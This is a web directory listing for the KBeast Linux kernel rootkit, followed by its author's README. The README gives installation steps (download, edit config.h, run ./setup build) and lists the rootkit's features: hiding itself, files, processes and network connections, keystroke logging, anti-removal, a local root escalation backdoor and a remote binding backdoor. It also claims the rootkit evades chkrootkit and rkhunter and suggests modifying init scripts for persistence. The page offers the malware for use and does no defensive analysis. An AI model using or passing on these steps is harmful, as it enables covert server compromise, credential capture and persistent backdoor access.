Index of /rootkit/kernel-rootkit/kbeast-v1/

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Directoryinit2011-12-31 17:32-
FileMakefile2011-12-27 04:38 4k
[TXT]config.h2011-12-27 19:57 4k
Fileipsecs-kbeast-v1.cc12011-12-27 19:57 20k
Filesetup2011-12-28 18:30 8k
[TXT]bd-ipsecs-kbeast-v1.c2011-12-28 18:30 4k
FileLICENSE2012-01-01 16:37 4k
[TXT]ipsecs-kbeast-v1.c2012-01-01 16:37 20k
KBeast (Kernel Beast) is new kernel rootkit based on the publicly known rootkit, modification is made in order to support kernel 2.6.16, 2.6.18, 2.6.32, and 2.6.35. Actually it should work for kernel 2.6.18 up to 3.x.x or more, but our installer script is only created for 2.6.16, 2.6.18, 2.6.32, and 2.6.35. Below are quick step installing the beast: > wget > tar zxvf ipsecs-kbeast-v1.tar.gz > cd kbeast-v1/ > modify config.h to meet your requirement, remember that _MAGIC_NAME_ must be user with sh/bash shell > In order to install in kernel 2.6.16 or 2.6.18, execute ./setup build 0 > In order to install in kernel 2.6.32 or 2.6.35, execute ./setup build (actually it should work for the recent kernel) > In order to install in kernel 2.6.9, edit .cc1 file to remove all sys_unlinkat() related code, modify syscall table address manually, then execute ./setup build 0 Be kind to note that the beast has been tested in, but not limited to, kernel 2.6.9, 2.6.16, 2.6.18, 2.6.32, 2.6.35 (i386 or x86_64). The feature of this rootkit are: > Hiding this loadable kernel module > Hiding files/directory > Hiding process (ps, pstree, top, lsof) > Hiding socket and connections (netstat, lsof) > Keystroke logging to capture user activity > Anti-kill process > Anti-remove files > Anti-delete this loadable kernel modules > Local root escalation backdoor > Remote binding backdoor hidden by the kernel rootkit During my test with chkrootkit and rkhunter, this rootkit wasn’t detected by those rootkit hunter. The limitation of my rootkit, you have to think yourself how to load the rootkit when the server rebooted. Believe me that is easy task, please see modification of init script here as example. Finally, you can download the kernel beast on See Nightmare for Linux System Administrator, and Happy New Year 2012!
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